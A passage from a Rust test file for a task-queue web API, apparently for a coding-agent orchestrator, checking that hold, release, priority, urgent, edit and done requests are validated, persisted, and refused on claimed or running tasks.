17721        let f = Fixture::start().await;
17722        let queue = f.queue();
17723        let mut task = Task::new(
17724            "spent".to_owned(),
17725            "Try again".to_owned(),
17726            PathBuf::from("/repo/magi"),
17727            Source::Human,
17728        );
17729        task.start("20260902-140502-bbbb".to_owned());
17730        task.fail("agent gave up", 9);
17731        queue.put(&mut task).expect("file the task");
17732
17733        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17734        assert_eq!(held.status, 200);
17735        assert_eq!(held.json()["status_str"], "held");
17736
17737        let released = f
17738            .post(&format!("/api/queue/{}/release", task.id), None)
17739            .await;
17740        assert_eq!(released.status, 200);
17741        assert_eq!(released.json()["status_str"], "queued");
17742        assert_eq!(released.json()["resumption"]["source"], "web");
17743        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17744        let mut cli = task.clone();
17745        cli.release_operator("cli", None);
17746        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17747        let cli = cli.resumption.unwrap();
17748        assert_eq!(web.instruction, cli.instruction);
17749        assert_eq!(web.answers_through, cli.answers_through);
17750        assert_eq!(web.runs_through, cli.runs_through);
17751        assert_eq!(web.cleared_reason, cli.cleared_reason);
17752        assert_eq!(
17753            released.json()["attempts"],
17754            0,
17755            "release is a real second chance, not an instant re-hold"
17756        );
17757        assert_eq!(
17758            queue.get(&task.id).expect("reload").status,
17759            TaskStatus::Queued,
17760            "the change is on disk, not only in the reply"
17761        );
17762        assert!(
17763            !f.home
17764                .path()
17765                .join("queue")
17766                .join(format!("{}.lock", task.id))
17767                .exists(),
17768            "the claim the mutation took is released again"
17769        );
17770    }
17771
17772    #[tokio::test]
17773    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17774        let f = Fixture::start().await;
17775        let queue = f.queue();
17776        let mut task = Task::new(
17777            "busy".to_owned(),
17778            "Running right now".to_owned(),
17779            PathBuf::from("/repo/magi"),
17780            Source::Human,
17781        );
17782        queue.put(&mut task).expect("file the task");
17783        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17784
17785        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17786
17787        assert_eq!(res.status, 409);
17788        assert_eq!(
17789            queue.get(&task.id).expect("reload").status,
17790            TaskStatus::Queued,
17791            "the refused hold changed nothing"
17792        );
17793    }
17794
17795    #[tokio::test]
17796    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17797        let f = Fixture::start().await;
17798        let queue = f.queue();
17799        let mut task = Task::new(
17800            "waiting on the migration".to_owned(),
17801            "Do the thing".to_owned(),
17802            PathBuf::from("/repo/magi"),
17803            Source::Human,
17804        );
17805        queue.put(&mut task).expect("file the task");
17806
17807        let held = f
17808            .post(
17809                &format!("/api/queue/{}/hold", task.id),
17810                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17811            )
17812            .await;
17813        assert_eq!(held.status, 200, "{}", held.body);
17814        assert_eq!(held.json()["status_str"], "held");
17815        assert_eq!(
17816            held.json()["hold_reason"],
17817            "waiting for 20260101-000000-aaaa to land"
17818        );
17819
17820        let listed = f.get("/api/queue").await.json();
17821        assert_eq!(
17822            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17823            "the card reads the reason off the same list route"
17824        );
17825
17826        // A hold with no body at all must keep working - most holds have no
17827        // reason to give.
17828        let mut plain = Task::new(
17829            "no reason given".to_owned(),
17830            "Do another thing".to_owned(),
17831            PathBuf::from("/repo/magi"),
17832            Source::Human,
17833        );
17834        queue.put(&mut plain).expect("file the task");
17835        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17836        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17837        assert!(held_plain.json()["hold_reason"].is_null());
17838
17839        let released = f
17840            .post(&format!("/api/queue/{}/release", task.id), None)
17841            .await;
17842        assert_eq!(released.status, 200);
17843        assert!(
17844            released.json()["hold_reason"].is_null(),
17845            "a release must clear the reason so the next hold does not inherit it"
17846        );
17847    }
17848
17849    #[test]
17850    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17851        for urgent in [true, false] {
17852            let body: UrgentBody =
17853                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17854            assert_eq!(body.urgent, urgent);
17855        }
17856        for input in [
17857            r#"{}"#,
17858            r#"{"urgent":null}"#,
17859            r#"{"urgent":"true"}"#,
17860            r#"{"urgent":1}"#,
17861            r#"{"urgent":true,"extra":false}"#,
17862        ] {
17863            assert!(
17864                serde_json::from_str::<UrgentBody>(input).is_err(),
17865                "{input}"
17866            );
17867        }
17868    }
17869
17870    #[tokio::test]
17871    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17872        let home = TempDir::new().unwrap();
17873        let q = Queue::at(home.path().join("queue"));
17874        let ui = Arc::new(Ui::new(
17875            q.clone(),
17876            Questions::at(home.path().join("questions")),
17877            Talks::at(home.path().join("talks")),
17878            home.path().join("runs"),
17879            home.path().into(),
17880            home.path().into(),
17881        ));
17882        let mut task = Task::new(
17883            "urgent handler".into(),
17884            "keep".into(),
17885            home.path().into(),
17886            Source::Human,
17887        );
17888        for status in [TaskStatus::Queued, TaskStatus::Held] {
17889            task.status = status;
17890            q.put(&mut task).unwrap();
17891            for urgent in [true, true, false, false] {
17892                let saved = queue_urgent(
17893                    State(Arc::clone(&ui)),
17894                    Path(task.short().into()),
17895                    Ok(Json(UrgentBody { urgent })),
17896                )
17897                .await
17898                .unwrap();
17899                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17900                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17901            }
17902        }
17903        task.status = TaskStatus::Queued;
17904        q.put(&mut task).unwrap();
17905        let claim = q.claim(&task.id).unwrap();
17906        let error = queue_urgent(
17907            State(Arc::clone(&ui)),
17908            Path(task.id.clone()),
17909            Ok(Json(UrgentBody { urgent: true })),
17910        )
17911        .await
17912        .unwrap_err();
17913        assert_eq!(error.status, StatusCode::CONFLICT);
17914        assert!(error.message.contains("released"));
17915        drop(claim);
17916        for status in [
17917            TaskStatus::Running,
17918            TaskStatus::Done,
17919            TaskStatus::Failed,
17920            TaskStatus::Blocked,
17921            TaskStatus::Parked,
17922        ] {
17923            task.status = status;
17924            q.put(&mut task).unwrap();
17925            let error = queue_urgent(
17926                State(Arc::clone(&ui)),
17927                Path(task.id.clone()),
17928                Ok(Json(UrgentBody { urgent: false })),
17929            )
17930            .await
17931            .unwrap_err();
17932            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17933            assert!(error.message.contains(status.as_str()));
17934        }
17935    }
17936
17937    #[tokio::test]
17938    async fn urgent_api_updates_preserves_and_validates_tasks() {
17939        let f = Fixture::start().await;
17940        let q = f.queue();
17941        let mut t = Task::new(
17942            "urgent API".into(),
17943            "unchanged".into(),
17944            PathBuf::from("/repo/magi"),
17945            Source::Human,
17946        );
17947        t.attempts = 2;
17948        t.priority = 9;
17949        t.interrupt = true;
17950        t.hold_reason = Some("waiting for approval".into());
17951        for status in [TaskStatus::Queued, TaskStatus::Held] {
17952            t.status = status;
17953            q.put(&mut t).unwrap();
17954            for urgent in [true, true, false, false] {
17955                let response = f
17956                    .post(
17957                        &format!("/api/queue/{}/urgent", t.short()),
17958                        Some(&format!("{{\"urgent\":{urgent}}}")),
17959                    )
17960                    .await;
17961                assert_eq!(response.status, 200, "{}", response.body);
17962                assert_eq!(response.json()["urgent"], urgent);
17963                let saved = q.get(&t.id).unwrap();
17964                let mut before = serde_json::to_value(&t).unwrap();
17965                let mut after = serde_json::to_value(saved).unwrap();
17966                before["urgent"] = urgent.into();
17967                before.as_object_mut().unwrap().remove("updated_at");
17968                after.as_object_mut().unwrap().remove("updated_at");
17969                assert_eq!(after, before);
17970            }
17971        }
17972        let route = format!("/api/queue/{}/urgent", t.id);
17973        for body in [
17974            r#"{}"#,
17975            r#"{"urgent":null}"#,
17976            r#"{"urgent":"true"}"#,
17977            r#"{"urgent":1}"#,
17978            r#"{"urgent":true,"extra":false}"#,
17979            "{",
17980        ] {
17981            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17982        }
17983        t.status = TaskStatus::Queued;
17984        q.put(&mut t).unwrap();
17985        let claim = q.claim(&t.id).unwrap();
17986        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17987        assert_eq!(response.status, 409, "{}", response.body);
17988        assert!(!q.get(&t.id).unwrap().urgent);
17989        drop(claim);
17990        for status in [
17991            TaskStatus::Running,
17992            TaskStatus::Done,
17993            TaskStatus::Failed,
17994            TaskStatus::Blocked,
17995            TaskStatus::Parked,
17996        ] {
17997            t.status = status;
17998            q.put(&mut t).unwrap();
17999            for urgent in [true, false] {
18000                let response = f
18001                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18002                    .await;
18003                assert_eq!(response.status, 400, "{}", response.body);
18004                assert!(response.body.contains(status.as_str()));
18005                assert!(response.body.contains("queued or held"));
18006                assert!(!q.get(&t.id).unwrap().urgent);
18007            }
18008        }
18009        assert_eq!(
18010            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18011                .await
18012                .status,
18013            404
18014        );
18015    }
18016
18017    #[tokio::test]
18018    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18019        let f = Fixture::start().await;
18020        let queue = f.queue();
18021        let mut older = Task::new(
18022            "filed first".to_owned(),
18023            "x".to_owned(),
18024            PathBuf::from("/repo/magi"),
18025            Source::Human,
18026        );
18027        older.id = "20260101-000001-aaaa".to_owned();
18028        let mut newer = Task::new(
18029            "filed second".to_owned(),
18030            "x".to_owned(),
18031            PathBuf::from("/repo/magi"),
18032            Source::Human,
18033        );
18034        newer.id = "20260101-000002-bbbb".to_owned();
18035        queue.put(&mut older).expect("file older");
18036        queue.put(&mut newer).expect("file newer");
18037
18038        // Equal priority: the newer task leads, the same order the old
18039        // newest-first `list()` already gave every equal-priority queue.
18040        let before = f.get("/api/queue").await.json();
18041        assert_eq!(before[0]["id"], newer.id);
18042        assert_eq!(before[1]["id"], older.id);
18043
18044        // Raising the *older* task is the meaningful case: it can only lead
18045        // now because its priority says so, not because it happens to be
18046        // newest.
18047        let raised = f
18048            .post(
18049                &format!("/api/queue/{}/priority", older.id),
18050                Some(r#"{"priority":10}"#),
18051            )
18052            .await;
18053        assert_eq!(raised.status, 200, "{}", raised.body);
18054        assert_eq!(raised.json()["priority"], 10);
18055
18056        let after = f.get("/api/queue").await.json();
18057        let names: Vec<&str> = after
18058            .as_array()
18059            .unwrap()
18060            .iter()
18061            .map(|t| t["id"].as_str().unwrap())
18062            .collect();
18063        // Highest priority first, which is the order next_runnable and
18064        // `magi task list` both use - GET /api/queue must agree with it
18065        // immediately, not just once the loop claims the task.
18066        assert_eq!(names[0], older.id, "the raised task now sorts first");
18067    }
18068
18069    #[tokio::test]
18070    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18071        let f = Fixture::start().await;
18072        let queue = f.queue();
18073        let mut tasks = Vec::new();
18074        for id in [
18075            "20260101-000001-aaaa",
18076            "20260101-000002-bbbb",
18077            "20260101-000003-cccc",
18078        ] {
18079            let mut task = Task::new(
18080                id.into(),
18081                "x".into(),
18082                PathBuf::from("/repo/magi"),
18083                Source::Human,
18084            );
18085            task.id = id.into();
18086            queue.put(&mut task).unwrap();
18087            tasks.push(task);
18088        }
18089        assert_eq!(
18090            queue.next_runnable().unwrap().id,
18091            tasks[0].id,
18092            "equal priorities use ascending id"
18093        );
18094        let route = format!("/api/queue/{}/priority", tasks[2].id);
18095        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18096        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18097        tasks[1].start("upgrade-run".into());
18098        tasks[1].park("upgrade");
18099        tasks[1].record_pass_at(
18100            "upgrade-run",
18101            0,
18102            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18103            1,
18104            Some(crate::run::ParkCause::Upgrade {
18105                from: "old".into(),
18106                to: None,
18107            }),
18108        );
18109        queue.put(&mut tasks[1]).unwrap();
18110        let rows = f.get("/api/queue").await.json();
18111        let upgrade = rows
18112            .as_array()
18113            .unwrap()
18114            .iter()
18115            .find(|row| row["id"] == tasks[1].id)
18116            .unwrap();
18117        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18118        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18119        tasks[2] = queue.get(&tasks[2].id).unwrap();
18120        tasks[2].start("running-run".into());
18121        queue.put(&mut tasks[2]).unwrap();
18122        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18123        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18124    }
18125
18126    #[tokio::test]
18127    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18128        let dir = TempDir::new().unwrap();
18129        let q = Queue::at(dir.path().join("queue"));
18130        let ui = Arc::new(Ui::new(
18131            q.clone(),
18132            Questions::at(dir.path().join("questions")),
18133            Talks::at(dir.path().join("talks")),
18134            dir.path().join("runs"),
18135            dir.path().to_path_buf(),
18136            dir.path().to_path_buf(),
18137        ));
18138        let mut t = Task::new(
18139            "budget".into(),
18140            "keep".into(),
18141            dir.path().into(),
18142            Source::Human,
18143        );
18144        t.attempts = 2;
18145        t.runs.push("prior-run".into());
18146        t.hold_manual(Some("waiting".into()));
18147        q.put(&mut t).unwrap();
18148        let change = |value| {
18149            queue_attempt_limit(
18150                State(ui.clone()),
18151                Path(t.id.clone()),
18152                Ok(Json(AttemptLimitBody {
18153                    attempt_limit: value,
18154                })),
18155            )
18156        };
18157        for value in [
18158            serde_json::json!(3),
18159            serde_json::Value::Null,
18160            serde_json::json!(1),
18161        ] {
18162            let response = change(value.clone()).await.unwrap();
18163            assert_eq!(
18164                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18165                value
18166            );
18167            let saved = q.get(&t.id).unwrap();
18168            assert_eq!(
18169                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18170                value
18171            );
18172            assert_eq!(saved.status, TaskStatus::Held);
18173            assert_eq!(saved.attempts, t.attempts);
18174            assert_eq!(saved.runs, t.runs);
18175            assert_eq!(saved.hold_reason, t.hold_reason);
18176            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18177                .await
18178                .unwrap()
18179                .0;
18180            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18181            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18182            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18183            assert_eq!(outcome.max_attempts, detail.max_attempts);
18184        }
18185        for value in [
18186            serde_json::json!(0),
18187            serde_json::json!(-1),
18188            serde_json::json!(1.5),
18189            serde_json::json!("3"),
18190            serde_json::json!(true),
18191        ] {
18192            assert_eq!(
18193                change(value).await.err().unwrap().status,
18194                StatusCode::BAD_REQUEST
18195            );
18196        }
18197        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18198        let claim = q.claim(&t.id).unwrap();
18199        assert_eq!(
18200            change(serde_json::json!(4)).await.err().unwrap().status,
18201            StatusCode::CONFLICT
18202        );
18203        drop(claim);
18204        for status in [
18205            TaskStatus::Running,
18206            TaskStatus::Done,
18207            TaskStatus::Failed,
18208            TaskStatus::Blocked,
18209            TaskStatus::Parked,
18210        ] {
18211            let mut stored = q.get(&t.id).unwrap();
18212            stored.status = status;
18213            q.put(&mut stored).unwrap();
18214            assert_eq!(
18215                change(serde_json::json!(4)).await.err().unwrap().status,
18216                StatusCode::BAD_REQUEST
18217            );
18218            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18219        }
18220        let mut stored = q.get(&t.id).unwrap();
18221        stored.status = TaskStatus::Queued;
18222        q.put(&mut stored).unwrap();
18223        let _ = change(serde_json::Value::Null).await.unwrap();
18224        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18225    }
18226
18227    #[tokio::test]
18228    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18229        let dir = TempDir::new().unwrap();
18230        let repo = dir.path().join("repo");
18231        std::fs::create_dir(&repo).unwrap();
18232        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18233        let q = Queue::at(dir.path().join("queue"));
18234        let ui = Arc::new(Ui::new(
18235            q.clone(),
18236            Questions::at(dir.path().join("questions")),
18237            Talks::at(dir.path().join("talks")),
18238            dir.path().join("runs"),
18239            dir.path().to_path_buf(),
18240            repo.clone(),
18241        ));
18242        let mut t = Task::new(
18243            "seats".into(),
18244            "keep instruction".into(),
18245            repo,
18246            Source::Human,
18247        );
18248        t.runs.push("prior-run".into());
18249        t.hold_manual(Some("waiting".into()));
18250        q.put(&mut t).unwrap();
18251        let change = |count| {
18252            queue_implementers(
18253                State(ui.clone()),
18254                Path(t.id.clone()),
18255                Ok(Json(ImplementersBody {
18256                    implementers: count,
18257                })),
18258            )
18259        };
18260        for count in [2, 1, 2] {
18261            let response = change(count).await.unwrap();
18262            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18263            let saved = q.get(&t.id).unwrap();
18264            assert_eq!(saved.implementers(), Some(usize::from(count)));
18265            assert_eq!(saved.runs, t.runs);
18266            assert_eq!(saved.instruction, t.instruction);
18267        }
18268        for count in [0, 4] {
18269            assert_eq!(
18270                change(count).await.err().unwrap().status,
18271                StatusCode::BAD_REQUEST
18272            );
18273        }
18274        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18275        let claim = q.claim(&t.id).unwrap();
18276        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18277        drop(claim);
18278        for status in [
18279            TaskStatus::Running,
18280            TaskStatus::Done,
18281            TaskStatus::Failed,
18282            TaskStatus::Blocked,
18283            TaskStatus::Parked,
18284        ] {
18285            let mut stored = q.get(&t.id).unwrap();
18286            stored.status = status;
18287            q.put(&mut stored).unwrap();
18288            assert_eq!(
18289                change(1).await.err().unwrap().status,
18290                StatusCode::BAD_REQUEST
18291            );
18292            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18293        }
18294    }
18295
18296    #[tokio::test]
18297    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18298        let f = Fixture::start().await;
18299        let queue = f.queue();
18300        let mut task = Task::new(
18301            "in flight".to_owned(),
18302            "x".to_owned(),
18303            PathBuf::from("/repo/magi"),
18304            Source::Human,
18305        );
18306        task.start("20260902-140502-bbbb".to_owned());
18307        queue.put(&mut task).expect("file the task");
18308
18309        let res = f
18310            .post(
18311                &format!("/api/queue/{}/priority", task.id),
18312                Some(r#"{"priority":9}"#),
18313            )
18314            .await;
18315        assert_eq!(res.status, 400, "{}", res.body);
18316        assert!(
18317            res.json()["error"]
18318                .as_str()
18319                .is_some_and(|e| e.contains("running")),
18320            "{}",
18321            res.body
18322        );
18323        assert_eq!(
18324            queue.get(&task.id).expect("reload").priority,
18325            0,
18326            "the refused write must not partially apply"
18327        );
18328    }
18329
18330    #[tokio::test]
18331    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18332        let f = Fixture::start().await;
18333        let queue = f.queue();
18334        let mut task = Task::new(
18335            "old title".to_owned(),
18336            "old instruction".to_owned(),
18337            PathBuf::from("/repo/magi"),
18338            Source::Agent {
18339                run: "20260101-000000-beef".to_owned(),
18340                node: "implement".to_owned(),
18341            },
18342        );
18343        task.runs.push("20260101-000000-beef".to_owned());
18344        queue.put(&mut task).expect("file the task");
18345        let created_at = task.created_at;
18346
18347        let edited = f
18348            .post(
18349                &format!("/api/queue/{}/edit", task.id),
18350                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18351            )
18352            .await;
18353        assert_eq!(edited.status, 200, "{}", edited.body);
18354        let body = edited.json();
18355        assert_eq!(body["title"], "new title");
18356        assert_eq!(body["instruction"], "new instruction");
18357        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18358        assert_eq!(body["created_at"], created_at.to_string());
18359        assert_eq!(
18360            body["source"]["kind"], "agent",
18361            "editing a task an agent filed must not turn it human: {body}"
18362        );
18363        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18364
18365        let reloaded = queue.get(&task.id).expect("reload");
18366        assert_eq!(reloaded.title, "new title");
18367        assert_eq!(reloaded.instruction, "new instruction");
18368    }
18369
18370    #[tokio::test]
18371    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18372        // The judge is an agent now: a repo whose only agent answers
18373        // "duplicate" stands in for it, so the refusal is the judge's.
18374        let tmp = TempDir::new().expect("tempdir");
18375        let repo = tmp.path().join("repo");
18376        std::fs::create_dir_all(&repo).expect("repo dir");
18377        let judge = MOCK_AGENT_TOML.replace(
18378            "printf ok",
18379            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18380        );
18381        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18382        let f = Fixture::with_repo(repo.clone()).await;
18383        let queue = f.queue();
18384        let mut owner = Task::new(
18385            "owner".to_owned(),
18386            "review it".to_owned(),
18387            repo.clone(),
18388            Source::Human,
18389        );
18390        owner.review_branch = Some("magi/ab12/A".to_owned());
18391        queue.put(&mut owner).expect("file the owner");
18392        let mut task = Task::new(
18393            "draft".to_owned(),
18394            "old".to_owned(),
18395            repo.clone(),
18396            Source::Human,
18397        );
18398        queue.put(&mut task).expect("file the draft");
18399        let url = format!("/api/queue/{}/edit", task.id);
18400
18401        let refused = f
18402            .post(
18403                &url,
18404                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18405            )
18406            .await;
18407        assert_eq!(refused.status, 409, "{}", refused.body);
18408        let msg = refused.json()["error"]
18409            .as_str()
18410            .unwrap_or_default()
18411            .to_owned();
18412        assert!(
18413            msg.contains("magi/ab12/A") && msg.contains("force"),
18414            "{msg}"
18415        );
18416        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18417
18418        let forced = f
18419            .post(
18420                &url,
18421                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18422            )
18423            .await;
18424        assert_eq!(forced.status, 200, "{}", forced.body);
18425    }
18426
18427    #[tokio::test]
18428    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18429        let f = Fixture::start().await;
18430        let queue = f.queue();
18431        let mut task = Task::new(
18432            "in flight".to_owned(),
18433            "do not touch".to_owned(),
18434            PathBuf::from("/repo/magi"),
18435            Source::Human,
18436        );
18437        task.start("20260902-140502-bbbb".to_owned());
18438        queue.put(&mut task).expect("file the task");
18439
18440        let res = f
18441            .post(
18442                &format!("/api/queue/{}/edit", task.id),
18443                Some(r#"{"title":"x","instruction":"y"}"#),
18444            )
18445            .await;
18446        assert_eq!(res.status, 400, "{}", res.body);
18447        assert!(
18448            res.json()["error"]
18449                .as_str()
18450                .is_some_and(|e| e.contains("running")),
18451            "{}",
18452            res.body
18453        );
18454        assert_eq!(
18455            queue.get(&task.id).expect("reload").instruction,
18456            "do not touch",
18457            "the refused edit must not change the file"
18458        );
18459    }
18460
18461    #[tokio::test]
18462    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18463        let f = Fixture::start().await;
18464        let queue = f.queue();
18465        let mut task = Task::new(
18466            "busy".to_owned(),
18467            "Running right now".to_owned(),
18468            PathBuf::from("/repo/magi"),
18469            Source::Human,
18470        );
18471        queue.put(&mut task).expect("file the task");
18472        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18473
18474        let priority = f
18475            .post(
18476                &format!("/api/queue/{}/priority", task.id),
18477                Some(r#"{"priority":9}"#),
18478            )
18479            .await;
18480        assert_eq!(priority.status, 409, "{}", priority.body);
18481
18482        let edit = f
18483            .post(
18484                &format!("/api/queue/{}/edit", task.id),
18485                Some(r#"{"title":"x","instruction":"y"}"#),
18486            )
18487            .await;
18488        assert_eq!(edit.status, 409, "{}", edit.body);
18489    }
18490
18491    #[tokio::test]
18492    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18493        let f = Fixture::start().await;
18494        let queue = f.queue();
18495        let mut task = Task::new(
18496            "shipped by hand".to_owned(),
18497            "merged outside the loop".to_owned(),
18498            PathBuf::from("/repo/magi"),
18499            Source::Agent {
18500                run: "20260101-000000-b455".to_owned(),
18501                node: "implement".to_owned(),
18502            },
18503        );
18504        task.runs.push("20260101-000000-b455".to_owned());
18505        task.runs.push("20260101-000000-9af4".to_owned());
18506        queue.put(&mut task).expect("file the task");
18507        let created_at = task.created_at;
18508
18509        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18510        assert_eq!(done.status, 200, "{}", done.body);
18511        assert_eq!(done.json()["status_str"], "done");
18512
18513        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18514        assert_eq!(
18515            reloaded.runs,
18516            ["20260101-000000-b455", "20260101-000000-9af4"]
18517        );
18518        assert_eq!(
18519            reloaded.source,
18520            Source::Agent {
18521                run: "20260101-000000-b455".to_owned(),
18522                node: "implement".to_owned(),
18523            }
18524        );
18525        assert_eq!(reloaded.created_at, created_at);
18526    }
18527
18528    #[tokio::test]
18529    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18530        // `done` is allowed on any status, including `held`, with no release
18531        // in between - so a task held for a reason and then closed directly
18532        // must not keep reading as "waiting on" it afterwards, on its card or
18533        // in `magi task show`.
18534        let f = Fixture::start().await;
18535        let queue = f.queue();
18536        let mut task = Task::new(
18537            "landed while held".to_owned(),
18538            "x".to_owned(),
18539            PathBuf::from("/repo/magi"),
18540            Source::Human,
18541        );
18542        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18543        queue.put(&mut task).expect("file the held task");
18544
18545        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18546        assert_eq!(done.status, 200, "{}", done.body);
18547        assert_eq!(done.json()["status_str"], "done");
18548        assert!(
18549            done.json()["hold_reason"].is_null(),
18550            "a done task cannot still be waiting on something: {}",
18551            done.body
18552        );
18553    }
18554
18555    #[tokio::test]
18556    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18557        // `queue_done` is the phone's way to close a task the loop never
18558        // settled itself - after confirming a manual GitHub merge, say - and
18559        // that is just as much "this task's story is over" as the loop's own
18560        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18561        let f = Fixture::start().await;
18562        let queue = f.queue();
18563        let runs = f.runs();
18564        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18565        // The last attempt has to have actually landed for the earlier one
18566        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18567        // for the case where it didn't.
18568        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18569
18570        let mut task = Task::new(
18571            "landed by hand".to_owned(),
18572            "x".to_owned(),
18573            PathBuf::from("/repo/magi"),
18574            Source::Human,
18575        );
18576        task.runs.push("20260101-000000-doa1".to_owned());
18577        task.runs.push("20260101-000000-doa2".to_owned());
18578        queue.put(&mut task).expect("file the task");
18579
18580        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18581        assert_eq!(done.status, 200, "{}", done.body);
18582
18583        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18584            .expect("run still on disk under this fixture's own home");
18585        assert_eq!(
18586            reloaded_run.status,
18587            RunStatus::Superseded,
18588            "closing the task by hand must relabel the earlier blocked attempt exactly \
18589             like the loop's own settle path does"
18590        );
18591    }
18592
18593    #[tokio::test]
18594    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18595        // Closing a task by hand is allowed from any status, including one
18596        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18597        // manual merge the loop never watched, say. Nothing here is provably
18598        // why the task is done, so nothing earlier gets relabelled either.
18599        let f = Fixture::start().await;
18600        let queue = f.queue();
18601        let runs = f.runs();
18602        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18603        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18604
18605        let mut task = Task::new(
18606            "closed with nothing actually landed".to_owned(),
18607            "x".to_owned(),
18608            PathBuf::from("/repo/magi"),
18609            Source::Human,
18610        );
18611        task.runs.push("20260101-000000-dob1".to_owned());
18612        task.runs.push("20260101-000000-dob2".to_owned());
18613        queue.put(&mut task).expect("file the task");
18614
18615        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18616        assert_eq!(done.status, 200, "{}", done.body);
18617
18618        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18619            .expect("run still on disk under this fixture's own home");
18620        assert_eq!(
18621            reloaded_run.status,
18622            RunStatus::Blocked,
18623            "the last recorded attempt never landed, so the earlier one must not be \
18624             relabelled as superseded by it"
18625        );
18626    }
18627
18628    #[tokio::test]
18629    async fn unknown_ids_are_json_not_found_on_both_stores() {
18630        let f = Fixture::start().await;
18631
18632        let run = f.get("/api/runs/nosuchrun").await;
18633        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18634
18635        assert_eq!(run.status, 404);
18636        assert_eq!(task.status, 404);
18637        assert!(
18638            run.json()["error"]
18639                .as_str()
18640                .is_some_and(|e| e.contains("run")),
18641            "the error names what was not found: {}",
18642            run.body
18643        );
18644        assert!(
18645            task.json()["error"]
18646                .as_str()
18647                .is_some_and(|e| e.contains("task")),
18648            "the error names what was not found: {}",
18649            task.body
18650        );
18651    }
18652
18653    #[tokio::test]
18654    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18655        let f = Fixture::start().await;
18656
18657        let missing = f.get("/api/health").await.json();
18658        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18659
18660        write_daemon(
18661            f.home.path(),
